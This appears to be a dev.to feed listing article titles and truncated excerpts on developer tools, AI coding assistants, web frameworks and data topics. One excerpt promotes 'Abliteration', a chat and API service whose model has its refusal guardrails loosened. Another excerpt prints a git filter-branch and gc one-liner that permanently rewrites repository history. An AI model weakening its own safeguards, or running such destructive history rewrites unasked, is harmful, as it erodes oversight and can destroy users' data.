    Using Docling-Agent to build powerful agentic operations on documents, such as writing, editing, summarizing, etc. For those who’ve followed my blog, Docling needs no grand introduction. My unwavering support for this tool stems from its unparalleled capacity to simplify document processing, effortlessly parse diverse formats — including an advanced understanding of complex PDFs (and also other widely used document formats— and provide truly seamless integrations with the broader GenAI ecosystem. It’s truly a game-changer. Recognizing the growing demand for intelligent automation, the Docling team (almost) recently introduced a powerful agent module. This addition provides advanced capabilities crucial for implementing ‘agentic’ document processing, where intelligent agents can actively i…  ( 12 min )
    Polars vs Pandas: Why 2025 Data Scientists Must Master This New Power Tool
    For over a decade, Pandas has been the undisputed champion of data manipulation in Python. Every data scientist's journey begins with learning DataFrames, and Pandas has been synonymous with tabular data processing. But in 2025, a powerful challenger has emerged that's forcing professionals to reconsider their entire workflow: Polars. Core Bottlenecks Single-Threaded Execution: Pandas runs on a single core by default, leaving your multi-core processor mostly idle Memory Inefficiency: Python's object model creates overhead, especially with string data types Eager Evaluation: Every operation executes immediately, missing optimization opportunities Sequential Processing: Operations happen one after another, even when they could run in parallel When the Pain Hits • Large CSV Files: 10-15 m…  ( 11 min )
    We hosted a Live Session on Gemini 3 Pro Preview. Here's how it went.
    We just wrapped an action-packed session walking through Google's new Gemini 3 model and how it performs inside Kilo Code. We talked benchmarks and pricing, and even shipped an entire video game with one prompt using Kilo Deploy. Headline: Gemini 3 is Google's most capable model so far. Crushes benchmarks like GPQA Diamond, Humanity's Last Exam, MathArena Apex, and tops WebDev Arena and Terminal Bench 2.0 It has 1M+ token context, and up to ~65k output tokens It's designed to feel smart, concise, and direct. It's better at understanding intent so you don't have to over-prompt. Why should developers care? Google explicitly calls Gemini 3 their best vibe coding & agentic coding model yet. It picks human-sensible architectures and libraries, writes extendable code, and organizes mul…  ( 9 min )
    Coffee Haven - Uno Platform AI Challenge Entry
    Coffee Haven ☕ - Cross-Platform Coffee Shop App I built a professional coffee shop application for the Uno Platform AI Challenge Professional Design Clean, modern UI with warm color palette Real coffee images from Unsplash Smooth hover animations Gold badge labels (Signature, Popular, etc.) Menu Items Espresso ($3.50) Cappuccino ($4.50) Latte ($4.00) Americano ($3.00) Mocha ($5.00) Macchiato ($3.75) Cross-Platform Works on Windows, Mac, Linux Mobile responsive Web browsers (Chrome, Firefox, Safari, Edge) iOS/Android (via browser) HTML5 CSS3 with gradients and animations Vanilla JavaScript Google Fonts (Playfair Display + Inter) Responsive Grid Layout Elegant brown/cream/gold color scheme Playfair Display serif font for headings Interactive buttons with feedback Card hover effects Professional coffee photography Built for the WOW Factor category - creating a stunning, fast-loading coffee shop experience  ( 6 min )
    Better Agents CLI with Kilo Code and LangWatch
    Better Agents CLI with Kilo Code and LangWatch This is a guest post by Rogerio Chaves, CTO and Founder of LangWatch. He brings 14 years of software engineering experience to solving one of AI's biggest challenges: making AI agents more reliable, testable, and production-ready. Today, more than 95% of enterprise agent projects fail to reach production due to a lack of reliability, evaluation discipline, and trust. Most are abandoned entirely, never making it past prototype phase. The industry needs to mature. We need to build Better Agents. Over the past two years, LangWatch has worked with leading companies to help them cross the barrier of agent reliability and bring agent systems safely into production, while Kilo Code has been the leading open source coding assistant helping teams to…  ( 7 min )
    Do not let your code turn into sausage that goes beyond screen
    Today, we talk about a bug that shows in practice how "code sausage" can cause a series of problems related to the last line effect and careless copy-paste, as well as lead to new errors. The PVS-Studio team not only creates new diagnostic rules, but also gradually refines the existing ones. For example, we've recently enhanced one of the oldest diagnostic rules in the C# analyzer, V3001, to make it detect redundant parentheses more accurately. As a result, the analyzer started detecting new bugs, one of which we show you. This case was detected in the Space Engineers project; this is one of the projects in our internal regression testing database. We use a specific old project version to compare how the analyzer behaves on the same code across updates. But if we look at the latest source…  ( 8 min )
    The B2B Retention Playbook: A Developer's Checklist to Slash Churn and Maximize LTV
    As developers, we're wired to build and ship. We launch a feature, merge the PR, and move on to the next ticket. But in the world of B2B SaaS, the real work begins after the customer signs up. Shipping features isn't enough. If your users churn, you're just filling a leaky bucket. Great B2B customer retention isn't just the job of a Customer Success Manager; it's an engineering challenge. It's about building a product that's not just functional, but indispensable. This checklist is your playbook for instrumenting, automating, and engineering a retention strategy that scales. The goal here is simple: achieve Time To First Value (TTFV) as fast as humanly (and programmatically) possible. This is where you set the tone for the entire relationship. Don't make new users hunt for the value. Guide…  ( 10 min )
    The Rebirth of the Artist
    The Beatles' "Now And Then" won a Grammy in 2024, but John Lennon had been dead for over four decades when he sang the lead vocals. Using machine learning to isolate Lennon's voice from a decades-old demo cassette, the surviving band members completed what Paul McCartney called "the last Beatles song." The track's critical acclaim and commercial success marked a watershed moment: artificial intelligence had not merely assisted in creating art—it had helped resurrect the dead to do it. As AI tools become embedded in everything from Photoshop to music production software, we're witnessing the most fundamental shift in creative practice since the invention of the printing press. The traditional image of the artist—solitary genius wrestling with blank canvas or empty page—is rapidly becoming a…  ( 23 min )
    Rubree: A Modern Ruby Regex Editor Running Fully in Your Browser
    I’m excited to announce Rubree, a modern regular expression editor for Ruby developers — inspired by Rubular but rebuilt from scratch using Ruby, Rails, and WebAssembly (Wasm). Rubular has long been a beloved tool for Rubyists, but it comes with some limitations: Runs on older Ruby 2.5.9, which affects speed and maintainability Not open-source, making customization and internal investigation difficult Matching is server-dependent, requiring backend processing for every input Cannot visualize regex structure as a railroad diagram (like Regexper) Replacement preview is unavailable Rubree addresses these challenges by redesigning both the UI and backend logic, running entirely in the browser for a fast, modern regex experience. All regex evaluation runs locally in the browser using …  ( 7 min )
    From Code to Coffee: How Using Crypto in Daily Life Changed My Workflow (and What I Learned About On/Off Ramps) ☕️💸
    As developers, we love clean architecture, elegant APIs, and systems that don’t explode on Sunday nights. My “crypto-in-everyday-life” journey started when I tried paying for coffee with USDT during a trip. The terminal froze, the barista stared at me like I was trying to pay in ancient runes, and I realized something important: Crypto works great - as long as your On/Off-Ramp doesn’t betray you. On/Off Ramps are the invisible plumbing connecting Web3 to real-world payments. converting crypto → fiat fiat → crypto compliance checks bank integrations fraud detection settlement rails They’re the reason crypto spending feels like normal spending… or like a debugging session gone wrong. Some exchanges already provide full-scale solutions - crypto payrolls, instant withdrawals, automated convers…  ( 7 min )
    Dev.to Tag Hacking
    I was digging around some of my old blogs recently and spotted something interesting, well not interesting, but unexplained. I blog about the Power Platform, a lot, and one of the things I don't blog about is crypto, so I was surprised to see that a few on my blogs had these tags: #crypto #cryptocurrency #bitcoin #offers #web3 Yep it looks like someone hacked my tags, most likely in conjunction with spam comments to push something dodgy. I wanted a quick way to check all of my blogs and fix any, and luckily there is a API for that. As Dev.to is built on Forem it has a robust and open api (No known rate limits and auth only for personal permissions like creating a blog). The docs are great as well, https://developers.forem.com/api/, so it's easy to use. I used the https://dev.to/api/artic…  ( 7 min )
    What I Learned from Building a Solana Memecoin Intelligence System
    A Data-Driven Approach to Predicting Winners in the Wildest Market on Solana The Solana memecoin ecosystem moves faster than almost any market in crypto. Tokens appear, pump, rug, and disappear in minutes. When I started reviewing and improving the Solana Memecoin Intelligence System, I expected a simple prediction model. Instead, I discovered a deeply engineered ecosystem combining machine learning, blockchain intelligence, real-time market data, and a live Telegram alerting system. This project taught me far more than ML. It taught me how to engineer signals, build monitoring infrastructure, process high-velocity market data, and design an end-to-end intelligence pipeline for one of the most chaotic markets in crypto. Here’s a breakdown of what I learned. One thing became immediately cle…  ( 9 min )
    How Developers Use Crompt AI to Compare GPT, Claude & Gemini
    The first time I ran the same code review prompt through GPT-4.1, Claude Sonnet 4.5, and Gemini 2.5 Pro simultaneously, I discovered something uncomfortable: I'd been trusting the wrong model for the wrong tasks. GPT-4.1 gave me creative refactoring suggestions but missed a critical edge case. Claude caught the edge case immediately and explained the type safety issue in detail. Gemini flagged a performance bottleneck I hadn't even considered. Each model saw something the others missed. For two years, I'd been using ChatGPT exclusively because it was the first AI I'd adopted. I assumed if one AI could help with code, it was good enough. But watching three different models analyze the same problem revealed a truth most developers don't realize: no single AI model is best at everything, and …  ( 11 min )
    Building Voyage Planner – Modern Travel Booking Website
    👋 Hey Dev Community! I recently built Voyage Planner, a sleek, Firebase-powered travel booking website designed to make planning trips effortless for adventurers, families, and luxury travelers. In this project, I explored: 🎯 What I wanted to build – Dynamic audience-specific travel experiences 🛠️ Tech Stack – HTML, CSS, JavaScript, Firebase (Auth, Firestore, Storage) ⚠️ Challenges – Responsive design, Firebase integration, dynamic content segmentation 📚 Lessons Learned – Modular design, best practices for Firebase, audience-focused content 🔁 What I’d do differently next time – Improve scalability & add multi-user dashboards 💡 Curious how I made it all come together? Read the full detailed blog with images, icons, and step-by-step guide here: 👉 Read the Full Blog on Hashnodes: https://senzyscripts.hashnode.dev/building-voyage-planner-modern-travel-booking-website  ( 6 min )
    🔰 *SQL Programming Roadmap*
    ├── 🧠 Introduction to Databases & What is SQL ├── 🛠️ Installing SQL Tools (MySQL, SQLite, PostgreSQL, DBeaver) ├── 📄 Understanding Tables, Rows, Columns & Data Types ├── 🔍 SELECT Statement – Fetching Data ├── 🎯 WHERE Clause – Filtering Records ├── 📊 ORDER BY – Sorting Results ├── 🎛️ LIMIT / TOP – Restricting Output ├── ✍️ INSERT INTO – Adding New Data ├── 🔄 UPDATE – Modifying Existing Data ├── ❌ DELETE – Removing Data ├── 🏗 CREATE, ALTER, DROP Tables ├── 🔗 SQL JOINS – INNER, LEFT, RIGHT, FULL OUTER ├── 🧮 Aggregate Functions – COUNT, SUM, AVG, MIN, MAX ├── 🧱 GROUP BY & HAVING – Grouped Calculations ├── 🔁 Subqueries – Nested SQL Queries ├── 🧠 CASE Statements – Conditional Logic ├── 🛡 Constraints – PRIMARY KEY, FOREIGN KEY, NOT NULL ├── 🚀 Practice Projects – Library DB, Sales Report, Student Records ├── 📈 Next Steps – Indexing, Views, Triggers, Stored Procedures Comment for more  ( 6 min )
    ChatGPT Search Just Changed the Game: What Actually Matters Now
    Google's had a comfortable run as the gatekeeper of internet traffic. Twenty-five years of SEO professionals optimizing for one algorithm, one set of rules, one way of thinking about search. Then ChatGPT Search launched. Now we're not just optimizing for crawlers and ranking factors. We're optimizing for AI that reads, understands, and synthesizes content before deciding whether to cite it. The rules haven't just changed—the entire playing field shifted. And here's the thing: most of the SEO advice you'll find is still stuck in 2019. "Just create quality content" they say, as if that phrase has ever meant anything specific. So let's talk about what actually works when AI is the middleman between your content and your audience. ChatGPT Search doesn't crawl the web like Google. It uses a com…  ( 13 min )
    I built a Lisp VM in Rust that proves its own execution trace (STARKs + Winterfell)
    Over the last few weeks I've been building an 8-register VM in Rust for a small Lisp-like DSL, plus a proof pipeline that turns programs into STARK proofs of execution. The DSL is compiled by the zk-lisp-compiler crate into a compact Op sequence, and proofs are generated through a dedicated backend built on top of the winterfell crate. A few details that might be interesting from a Rust/efficiency point of view: I defined a unified execution trace (VM registers, RAM tables, Merkle gadget, Poseidon2 lanes, ROM accumulator) in a single Columns layout. The VmTraceBuilder simulates the Op sequence, seeds registers, and fills a Winterfell TraceTable while keeping allocations predictable (pre-zeroed trace, cached Poseidon2 params, partition selection). The backend implements a SegmentPlanner tha…  ( 8 min )
    EXPERIENCE: ZED CODE EDITOR
    My Experience With Zed Code Editor Introduction I’ve been wanting to write something like this for a long time. If you’ve seen my channel, you already know I have a whole series for these kinds of long-format talks — the Experience Series, where I share what it feels like to actually use a program, tool, OS, browser, or whatever madness I touched that week. So far, I’ve done this only in video format: THE MINI MICRO EXPERIENCE THE BRAVE BROWSER EXPERIENCE Those covered Brave Browser (goated but heavy — classic Chromium Energy) and Mini Micro (maybe the most underrated tool for learning game dev). But today, we're not talking browsers or game engines. Today I’m talking about the absolute GOATED code editor for me: ZED. CODE. EDITOR. I’ll also mention some other editors I trie…  ( 8 min )
    Razor Pages vs MVC: Quando escolher e por quê
    Razor Pages vs MVC: Quando escolher e por quê Uma análise prática e arquitetural para quem constrói aplicações .NET modernas no mundo real. Ao iniciar um novo projeto web em .NET, uma das primeiras decisões é escolher entre ASP.NET Core MVC e ASP.NET Core Razor Pages. Embora ambos coexistam dentro do mesmo framework, eles representam modelos mentais diferentes — e essa escolha impacta clareza, manutenção, ritmo de entrega e arquitetura. Neste artigo, vamos explorar quando Razor Pages é superior ao MVC, quando o contrário é verdadeiro, e — principalmente — como arquitetos e desenvolvedores podem decidir de forma prática e segura. A diferença entre Razor Pages e MVC não é técnica — é conceitual. Controllers + Actions Fluxo centralizado Flexível para APIs e rotas complexas Ótimo para aplicações grandes e arquitetadas PageModel por página Fluxo distribuído Ideal para CRUDs e sistemas de gestão Arquitetura limpa e previsível Em resumo: MVC organiza por tipo. Razor Pages organiza por funcionalidade. Cada página possui seu próprio PageModel, facilitando leitura e manutenção. Menos arquivos, menos roteamento manual, mais foco em regras e serviços. ERP, CRM, backoffice, intranets — todos combinam melhor com páginas orientadas a funcionalidade. Domínio → Serviço → Repositório → PageModel → UI. Fluxos avançados, lógica rica de controle. React/Angular pedem APIs independentes. MVC oferece mais controle. Quando seu design exige isso. Tipo de Projeto Melhor Opção CRUD corporativo Razor Pages Ferramenta administrativa Razor Pages Portal interno Razor Pages Aplicação SaaS baseada em formulários Razor Pages API + SPA MVC ou Minimal APIs Rotas complexas MVC Para a maioria dos sistemas reais: Comece com Razor Pages. Só evolua para MVC se realmente houver necessidade. Razor Pages simplifica, organiza e acelera entregas — especialmente quando combinado com serviços, repositórios, validações e um bom guideline arquitetural. 👉 Criando uma ASP.NET Core WebApp Razor Pages do zero (em 5 minutos).  ( 7 min )
    Use Fork Git Client to Remove Passwords from Git History
    What is Fork Fork is a git client that runs your git commands for you inside of an interface. Similar to other products like GitHub Desktop abd GitKraken. For provides a great deal of flexibility when setting up custom commands. The interface is decent and provides quick and easy GUI for all your Git needs. However, being able to setup your client to run various commands on the repo is very handy. Currently I have my JetBrain's products plus the ability to scan for secrets using nosey parker. All very very handy. I even use AICommit2 from time to time with a click of a button. Using fork to delete a file out of git history. 1.) Create a Custom Command 2.) Call the custom command 'Remove Selected File from History' Target needs to be File visible in file context menu 3.) Select Bash Command Add the following Script: git filter-branch --force --index-filter "git rm --cached --ignore-unmatch '${file}'" --prune-empty --tag-name-filter cat -- --all && git for-each-ref --format="%(refname)" refs/original/ | xargs -n 1 git update-ref -d && git reflog expire --expire=now --all && git gc --prune=now --aggressive Now you can simply right click on the offending file and remove its entire history (remember to ignore the file so it doesn't get committed again).  ( 6 min )
    The 5 Most Common Data Quality Issues (and How Analysts Can Fix Them)
    Data analysts spend more time cleaning data than analyzing it. In fact, in most real-world projects, 60–80% of your time goes into preparing data for meaningful insights. Here are the five most common data quality problems and practical steps to solve each one. 1. Missing or Null Values Missing data can distort metrics, create gaps in reports, or lead to inaccurate ML models. Causes: How to fix it: Identify missingness patterns using COUNT(*) in SQL or df.isna().sum() in Python. Drop rows only when missing data is irrelevant. Impute using averages, medians, or domain logic. Use Power Query’s “Replace Errors” or “Fill Down” functions for structured fixes. 2. Inconsistent Formatting You’ve probably seen this: “Kenya”, “kenya”, “K E N Y A”, or mismatched date formats in the same column. Why it happens: How to fix it: Apply standard casing (upper/lower/title). Convert all dates to a unified ISO format (YYYY-MM-DD). Use Excel Power Query’s “Transform → Format” options. In SQL, standardize with functions like UPPER(), TRIM(), or TO_DATE(). 3. Duplicate Records Why it happens: How to fix it: Identify duplicates using ROW_NUMBER() windows in SQL. Use Power Query’s “Remove Duplicates”. Implement unique IDs early in the pipeline. In Python, use df.drop_duplicates(). 4. Outliers and Incorrect Values Some values are valid extreme cases; others are simply errors (like a customer aged 600). Why it happens: How to fix it: Visualize distributions using box plots or histograms. Apply domain thresholds or rule-based logic. Use interquartile ranges or z-scores for statistical outlier detection. Create automated validations in Power BI or SQL. 5. Mixed Granularity Data at different levels combined into one column or table — e.g., weekly and monthly data in the same dataset. Why it happens: How to fix it: Split datasets by granularity before analysis. Create dimensional tables for dates, products, etc. Aggregate or disaggregate consistently before joining. Use a proper star schema when possible.  ( 7 min )
    How to Configure DNS When Using a VPN
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    How to Check the Number of Lines Changed in Your Current Git Branch Compared to Main
    When working with Git, developers often need to understand how much their current branch differs from the main branch. This can help in assessing the scope of changes, planning reviews, or making decisions before merging. One useful metric is the total number of lines added and removed between branches. Counting the lines of code changed gives a quick snapshot of the volume of work done. It helps to: Gauge the size of your feature or fix. Estimate code review effort. Track progress against expectations. Identify large or complex changes that might require extra testing. The Git command line provides simple ways to check these differences precisely. The most straightforward command is: git diff --shortstat main...HEAD Here’s how it works: git diff shows changes between commits or branches. main...HEAD compares your current branch (HEAD) with the main branch. --shortstat gives a brief summary report with the total files changed, and lines added and deleted. For example, running this command might show: 3 files changed, 45 insertions(+), 20 deletions(-) This means across 3 files, you've added 45 lines and removed 20 lines compared to main. If you want to see the exact line changes per file, you can use: git diff main...HEAD --numstat This command outputs a list where each line contains the number of added and deleted lines per file. It’s handy for deeper inspection or for scripting purposes.  ( 7 min )
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    The Great Logic Revolution: Why I Killed && and || in My Programming Language?
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    N8N Code Node Best Practices for Python (+Task Runner Examples)
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    How I Built a Pseudocode Runner (With Zero Coding Experience) Using Compyle’s Tools
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    From MIT Dorm Room Ethereum Mining to a $1B Blockchain: The Vana Story of Taking Back Your Data
    Fast forward to December 2024: Anna and her co-founder Art Abal just launched Vana—a blockchain that lets people own and monetize their personal data—and it's valued at over $1 billion before even trading publicly. But here's the twist that makes this story absolutely wild: Anna's bedroom wall didn't have posters of pop stars or athletes. She had a picture of Janet Yellen, the U.S. Treasury Secretary. This is the story of two Filipino entrepreneurs who met at MIT, worked on data labeling projects in Philippine slums, and decided to build a blockchain that could fight back against Big Tech's data monopoly. And spoiler alert: they just became the 62nd project on Binance Launchpool, with their mainnet launching on December 16, 2024. Let's dive in. Anna Kazlauskas came to MIT in 2015 thinking …  ( 15 min )
    Introducing PQNT — A New Power-Law Quantization Method
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    🚀 What We Learned After Talking to 200+ Developers About Building Products
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    Application Modernisation: Paving the Way for Future-Ready Digital Systems
    In a rapidly evolving digital landscape, businesses can no longer afford to depend on aging, inflexible, or hard-to-maintain applications. Application modernisation has become the strategic pathway for companies looking to stay competitive, enhance performance, and meet rising customer expectations. Instead of discarding legacy systems entirely, modernisation focuses on transforming them—making your applications faster, scalable, and more aligned with today’s cloud-driven world. Why Application Modernisation Matters Today Legacy applications often come with technical debt, outdated architectures, and high maintenance costs. They might still house valuable business logic, but they limit innovation and slow down digital transformation efforts. As customer demands grow and technology advances…  ( 7 min )
    The Best AI Agent For Frontend - Kombai
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    This article is the first time that Alibaba Cloud Simple Log Service (SLS) systematically unveils the product philosophy, architecture design, and core technology accumulation behind SLS SQL Copilot. We will provide an in-depth look at how this intelligent analysis assistant starts from real user needs and integrates cutting-edge AI capabilities with over a decade of SLS log analysis best practices to create a future-oriented and intelligent log analysis experience. Origin Eight years ago, SLS launched its SQL analysis service for the first time. This transformed log data from simple storage into a subject for interactive query analysis, and users began to realize the value of their data. Five years ago, SLS experimented with self-service data exploration. The Data Explorer service was des…  ( 17 min )
    How Pagination Saved an API from Crashing: A Practical Case Study
    The Problem That Inspired This Article Recently, I encountered an interesting situation. I opened a certain web resource (which I won't name) and tried to view a list of data. The page started loading... and loading... and the browser froze. After restarting the page and opening DevTools, the picture became clear: the API endpoint was returning all records in a single request - tens of thousands of rows in a JSON response over 50 MB in size. The browser simply couldn't handle it. Testing the request through Postman confirmed my suspicions: GET /api/items Response: [ { "id": 1, "name": "Item 1" }, { "id": 2, "name": "Item 2" }, ... { "id": 50000, "name": "Item 50000" } ] // 50 MB JSON, response time: 12 seconds This incident prompted me to write an article about how to properly s…  ( 10 min )
    Implementing AIOps on Xperience by Kentico with n8n and GitHub Coding Agents: Automated Resolutions with Human in the Loop
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    The Ultimate Guide to Automotive MOST Cables
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    Perl 🐪 Weekly #748 - Perl v5.43.5
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    Usando MongoDB com Brighter V10
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    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR Cinemasins just dropped “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” a rapid‐fire, tongue‐in‐cheek rundown of every nitpickable moment in the movie, complete with their trademark witty jabs and “sins” count. They’ve also spammed the linktree with their other YouTube channels (@TVSins, @commercialsins, @CinemaSinsPodcastNetwork), a sinful poll, Patreon support, and a full list of writers and social links (Twitter, Instagram, TikTok, Discord, Reddit) for diehard fans to follow. Watch on YouTube  ( 6 min )
    AWS IAM Outbound OIDC with Google Cloud Identity Pool
    Recently, AWS introduced a new feature in IAM, that allows you to sign JWT tokens using managed OIDC provider. On a per AWS Account basis you can enable and receive unique endpoint with managed JWKS keys to configure third-party identity pools. If you want to know more how it functions, I have a blog post how to host your own OIDC provider on CloudFront. As I'm learning Google Cloud now, I decided to use GCP's Workload Identity Pool as the receiving end of the token issued by AWS IAM (even though this service also supports native AWS authentication). The goal for today is to make a Lambda function be able to write to Google Cloud Storage bucket and insert some rows into BigQuery table. The whole setup is on the diagram below: For each of the steps below, I assume you are already authentic…  ( 14 min )
    Self Hosting n8n on AWS EC2 instance (Step-by-step Guide)
    WARNING: To use n8n on AWS with a custom domain you must own that domain (your website). If you don't have one you can create get one here: Hostinger Domain NOTE: Copy and paste each command one by one. 1. AWS Account and EC2 Instance Setup https://aws.amazon.com/ Launch an EC2 instance: Quick Start: choose Amazon Linux. Key pair: Create new key pair (download .pem and keep it safe). Network (security group): allow HTTP (80) and HTTPS (443) inbound. Launch the instance. Wait until it becomes running. (Why this matters: the instance is your server that will run n8n in Docker.) 2. Allocate an Elastic (Static) IP and Associate It In the AWS EC2 console go to Elastic IPs (top-right or left menu). Click Allocate Elastic IP address and allocate one. Associate the Elastic IP with the EC2 …  ( 9 min )
    Jake Seal Explains How Producers Turn Scripts Into Successful Films
    Introduction 1. Finding the Right Script Fresh and engaging Budget-friendly and achievable Appealing to the target audience Clear in theme and message Producers often read hundreds of scripts before choosing one that has real potential. Once a script shows promise, they secure the rights and begin developing it. 2. Developing the Story What Development Includes: Improving dialogue and pacing Strengthening characters Fixing plot gaps Adjusting scenes to meet the planned budget Jake Seal highlights that development shapes the script into something that can be realistically filmed while still keeping the story strong. 3. Building the Production Team Key People Producers Bring Onboard Director – defines the visual style and storytelling approach Casting Director – finds the right actors Cinema…  ( 7 min )
    Am I doing the best I can? Thoughts about talent, mediocrity, expectations and success.
    “È bravo, ma non si impegna.” ( “He is very smart, but if he put in more effort, he could achieve so much more.” ) This sentence followed me for my entire childhood. “You could have gotten an A… if only you had worked harder.” Sometimes I even got worse grades than classmates who had identical results because they “worked hard”, so they were rewarded, while my work was discounted and attributed to “talent.” I can’t say whether those comments shaped who I am today, or whether something deeper was already there. Pushing me to always do something more - although I always knew I could put in more effort. But the reason I didn’t give “everything” is simple: Good enough was, simply, good enough. Somewhere in my head, there has always been a calculation: What is the right effort/result ratio th…  ( 11 min )
    How to Implement Content Security Policy in Nuxt
    When building modern web applications with Nuxt, security should never be an afterthought. One of the most effective ways to protect your app from malicious attacks—especially Cross-Site Scripting (XSS)—is to implement a Content Security Policy (CSP). In this article, we’ll explore: What Content Security Policy is and why it matters How to manually configure CSP in Nuxt How to enable CSP using the Nuxt Security module Upcoming first-class CSP support in Nuxt core Enjoy! Content Security Policy (CSP) is an HTTP response header that defines where the browser is allowed to load resources from. Instead of trusting everything, you specify rules such as: Which domains can execute JavaScript Which images can be displayed Whether inline scripts are allowed Whether frames and iframes can load exte…  ( 9 min )
    A 2009 IBM Patent That Solved Indoor Location Without GPS — And Got Cited 64 Times by Cisco, Microsoft, Avaya…
    Click here to open patent link More than a decade ago, while leading a team at IBM, I co-authored and successfully prosecuted U.S. Patent 8,635,366 — “Communication Routing” — a foundational invention in context-aware communication systems. The goal was simple yet visionary: connect people through the right device at the right time — without GPS or invasive tracking. Back then, GPS was expensive, unreliable indoors, and privacy concerns were rising. Our patented method used existing enterprise access control data (badge swipes) to infer location and route calls — a low-cost, privacy-first alternative that predated modern AI presence systems by nearly a decade. Key Innovation (Claim 1): “Routing communication to an individual by identifying current location from access control information.…  ( 7 min )
    AI-Assisted Engineering: A Senior Developer’s Framework for Speed, Quality, and Sound Technical Judgment
    Part 1: Decision-Making, Architecture, and Problem Solving Executive Summary whether to use AI—it’s how intentionally you use it while preserving engineering judgment. As a senior backend engineer working with Laravel and distributed systems, I’ve spent the past couple of months developing a structured AI-assisted workflow. The outcome? ✔️ 70% faster execution on delegated tasks ✔️ Zero compromise on architectural or business logic integrity ✔️ Cleaner design decisions backed by structured reasoning This framework is not about replacing human engineers. It’s about establishing a hybrid model where AI accelerates mechanical execution, and engineers lead architecture, decision-making, and correctness. I wasn’t always this disciplined. When I first started using AI, I treated it like a magic …  ( 9 min )
    🚀 Hello everyone I’ve recently launched our new website moradabads.com, where we focus on DSA, JavaScript output-based questions, articles, an online code compiler, and much more. I would really appreciate it if you could visit the website and share
    A post by Sumit kumar  ( 6 min )
    Packaging my Open Source Project - Release 1.0.0
    A post by DenisC  ( 6 min )
    Solving React's "Zombie Children," Tearing, and Context Loss with Zustand
    React is a powerful library for building user interfaces, but as applications grow in complexity, developers often run into a few tricky state management issues. Three of the most common are the "zombie child" problem, UI tearing in concurrent mode, and performance degradation from React's Context API. Fortunately, a lightweight and elegant state management library called Zustand provides a simple solution to all three. Let's dive into what these problems are and how Zustand helps you sidestep them entirely. The "zombie child" effect happens when a parent component re-renders, but a child component that has been unmounted (or is in the process of unmounting) still manages to trigger a state update. This child is a "zombie"—it's not really alive in the component tree, but its old logic (oft…  ( 9 min )
    Errloom- Platform to Practice Debugging Real Production Outages (and It's Open Source)
    TL;DR: Created Errloom - a browser-based playground with 15 (soon 100+) scenarios based on real outages from companies like Reddit, GitLab, and Discord. Practice debugging without breaking prod. GitHub repo here. The Problem I Was Trying to Solve "Why is the database suddenly slow?" Here's the thing: you can't really practice this stuff. What I Built Real logs (sanitized, obviously) You investigate, form hypotheses, and work toward the root cause. Then compare your approach to what actually happened. Current Scenarios (15 total): 🌐 Infrastructure Chaos CDN cache poisoning ⚡ Application Nightmares Memory leaks in Node.js services 🔐 Security Incidents Accidentally committed AWS keys The Tech Stack Each scenario is a JSON config that defines: typescriptinterface Scenario { How It Works …  ( 8 min )
    Emerging Trends in Natural Language Processing Services for 2025
    The Natural Language Processing is developing rapidly. It assists machines to learn and react to human language with a graceful and purposeful manner. Currently, in 2025 NLP services will be more precise, more adaptable, and helpful in everyday activities. These are the most important trends that define the field. NLP models are also improving in their tone, purpose and context reading. They are able to tackle the complex questions in a better way. This assists the users to get right information and easier discussions. The developers are considering models which can interpret the meaning behind every message. With NLP systems, which support multiple languages, there is a more effortless global communication. Such tools are translators, summarizers, and content analyzers in the real-time. …  ( 7 min )
    Built a less‑filtered LLM chat & API
    I’ve been building a project, and I finally pushed it live: Abliteration : a less‑filtered LLM chat and API. At a high level: It’s a web chat where you can talk to a “less‑filtered” LLM. It’s also an API you can call from your own apps (OpenAI‑style JSON). It’s aimed at developers doing things like: red‑teaming / robustness testing internal tools creative / experimental projects The goal isn’t “no rules, pure chaos”. The goal is: “stop refusing every borderline or research prompt, but still block clearly harmful stuff.” When I started playing with different LLM APIs, I kept running into the same pattern: I’d write a prompt for something perfectly legitimate (e.g. security testing, fiction, simulations). The model would respond with some variation of “I’m sorry, I can’t help with that”. I’d spend more time fighting the guardrails than working on the actual idea. Trying to keep v1 small and focused: Web chat interface Simple REST API for chat completions API keys + usage dashboard Small free tier so you can kick the tires Basic quickstart examples (curl)  ( 6 min )
    The AI Testing Paradox: How Automated Test Generation Might Kill Unit Testing
    There's a troubling trend I've been observing in software development, and it keeps me up at night. AI-powered code generation has become incredibly popular, and one of its most promoted use cases is generating unit tests. On the surface, this seems like a clear win. who wouldn't want to automate the tedious work of writing tests? But I'm increasingly convinced that AI-generated tests, particularly in the hands of inexperienced developers, might actually destroy the practice of unit testing rather than enhance it. Let me walk you through how this plays out. An inexperienced developer writes some production code. They've heard that tests are important, so they ask their AI assistant to generate a test suite. Within seconds, they have hundreds of lines of testing code, complete with mocks, a…  ( 8 min )
    Affiliate Marketing for Developers: How to Make Money Promoting Tools You Love
    As a developer, you're constantly using tools and platforms to make your workflow more efficient, your code cleaner, and your projects more manageable. What if I told you that you could monetize your knowledge of these tools and services by promoting them to others—and make a decent income in the process? It’s called affiliate marketing, and it’s one of the most effective ways to earn money online, especially for developers like yourself. In this post, I’m going to walk you through how affiliate marketing works for developers, why it’s a great side hustle, and how you can start promoting the tools you already use to earn some extra income. Let’s start with the basics. Affiliate marketing is a process where you promote a product or service, and when someone makes a purchase through your ref…  ( 10 min )
    Prompt Optimization for AI Builder: Lessons from TOON vs Text
    Intro: Setup: Version 1: Traditional natural language instruction, written in a descriptive, narrative style. You are a sustainability expert specializing in utility invoice analysis and data normalization. Your mission is to extract and standardize key information from provider invoices to support environmental reporting, carbon accounting, and analytics. Input : Invoice Fields to Extract: { "Bill ID": "...", // Invoice or bill number "Bill Date ": "...", // Invoice or Bill date "Account Id ": "...", // Account Number or Customer reference number "Invoice Amount": "...", // Total Amount "provider_name": "...", "service_type": "...", // electricity, water, gas, fuel, waste "meter_id": "...", // Unique meter identifier "PDL": "...", // Point of Delivery…  ( 10 min )
    Savvy HRMS: Best Attendance Management Software India
    Accurately tracking employee attendance is pivotal for any business striving to maintain productivity and compliance. Attendance management software offers a practical solution, automating the recording of work hours and absences to eliminate errors and simplify operations. Savvy HRMS stands out as the best attendance management software provider in India, with a product tailored to help Indian businesses meet their unique workforce management needs efficiently. Savvy HRMS attendance management software also offers transformative value by freeing up HR teams from tedious manual tracking tasks, allowing them to focus on strategic initiatives that drive business growth. Companies that adopt this software often experience massive time savings of up to 4 to 5 hours a week for HR personnel whil…  ( 8 min )
    Metaprogramming in Low-Code Platforms
